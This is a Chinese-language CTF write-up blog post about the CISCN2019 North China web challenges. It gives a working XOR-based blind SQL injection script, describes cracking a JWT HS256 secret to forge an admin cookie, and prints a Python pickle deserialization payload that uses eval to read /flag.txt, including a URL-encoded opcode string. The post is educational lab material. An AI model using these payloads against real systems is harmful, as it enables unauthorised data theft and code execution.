[CISCN2019]华北赛区web复现

Hack World

这道题做得我心态有点崩,因为明明很简单但我脚本跑下来就是这样

关键我觉得我脚本没问题啊 5555

这道题比较简单,select,if,ascii什么的都没有过滤,可以通过异或运算来得到数据库中的内容

而且它已经给了表名和字段名惹

好了可以了

import requests

url = 'http://dc106d56-83ef-49ed-9e96-d1cb8ef5060e.node3.buuoj.cn/index.php'

flag = ""

payload1 = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})"
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
data = {"id": payload1.format(i, mid)}
r = requests.post(url, data=data)
if 'Hello' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 132:
break
flag += chr(mid)
print(flag)

print(flag)

对了对了这里有个地方我一直忽略了

在脚本里payload是

"0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})"

我一开始写的是

"1^(ascii(substr((select(flag)from(flag)),{0},1))<{1})"

结果跑出来是这样

但是我变成第一种就能跑出来flag,我就开始疑惑了

星星一看就说

好的是我蠢了5555我都没看出来

所以应该写成<=才行,突然发现我以前也在这个问题上犯过错误。好了这次记住了。

ikun

我看不懂了 这题是黑坤坤的吗

我真的挺喜欢坤坤的 我有个姐妹是他的忠实粉丝 自从我姐妹跟我安利过他以后我也觉得他真的特别棒!特别是看了一点青你2更是被他圈粉了 好有素养一男的 多了解了解坤坤真的知道他挺棒的 不容易

好了 好好做题8

这道题的知识点还蛮多的!但是最后那个反序列化我没有做出来555 不过学到惹

  • 逻辑漏洞(
  • cookie伪造
  • python反序列化

逻辑漏洞

让我们先来注册一个账号然后登陆:

看起来修改密码处无漏洞。看了一下大概就是可以用剩余金额购买首页的商品。

源码说

<!--这题脑洞确实有点大,所以我们留了些hint,请注意!-->

我猜那句ikun们冲鸭,一定要买到lv6!!!是提示。于是我找了下lv6,翻了好几页都没有翻到。

并且这个页数还很多?一直到100页都还有。

我一度怀疑不存在lv6,但这样的话这句提示就没有用了鸭。

所以写个脚本找下lv6:

import requests

url = 'http://61ea8d3f-56ba-43c6-9aed-be2ecebfae5f.node3.buuoj.cn/shop?page='

for i in range(1, 1000):
r = requests.get(url + str(i))
if "lv6.png" in r.text:
print(i)
break

找到惹,在181页。

但这价钱也太贵了8。不过还好在刚登陆上找线索的时候就发现了个逻辑洞(pentest习惯

可以直接F12更改折扣

果然,进入了不一样的页面

所以就进入下一个阶段惹

cookie伪造

上一阶段很明显说了需要admin才能访问。看了看cookie

jwt都很熟悉了8,jwt.io解码看看

并且我没找到源码。所以尝试爆破一下。

(这个地方我联系了下之前做的HFCTF中的一道题,返回去看才终于知道为什么当时可以将argorithm置为空来绕过了。并且已经把原因加在那篇文章中了。

这篇文章讲了一些攻击JWT的方法!我觉得很好!

好了回归这道题。

这里的加密算法使用了HS256,因此可以尝试爆破惹。

项目地址:https://github.com/brendan-rius/c-jwt-cracker

得到密钥为1Kun.

替换后页面变了

在这个页面下载到了源码。打开康康。

Python反序列化漏洞

打开源码有一些重要的文件

在admin.py下出现了反序列化漏洞点

我终于懂python反序列化了 落泪

在这里给出几篇讲得很好的文章:

一篇文章带你理解漏洞之 Python 反序列化漏洞

Arbitrary code execution with Python pickles

掌阅iReader某站Python漏洞挖掘

Code-Breaking中的两个Python沙箱

Python反序列化漏洞的花式利用

本题脚本

import pickle
import urllib


class payload(object):
def __reduce__(self):
a = "open('/flag.txt','r').read()"
return eval, (a,)


a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

然后抓包通过become传过去就可以了。

顺便…用Python3跑也是可以的,只不过需要自己url encoding了

c__builtin__%0Aeval%0Ap0%0A%28Vopen%28%27%2Fflag.txt%27%29.read%28%29%0Ap1%0Atp2%0ARp3%0A.

再顺便…

项目地址:https://github.com/EddieIvan01/pker

可以借助这个脚本写opcode,因为reduce如果被过滤了就不能像上面那样写了。

具体用法:pickle反序列化初探

Author: Neorah
Link: https://neorah.me/ctf/CISCN2019/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.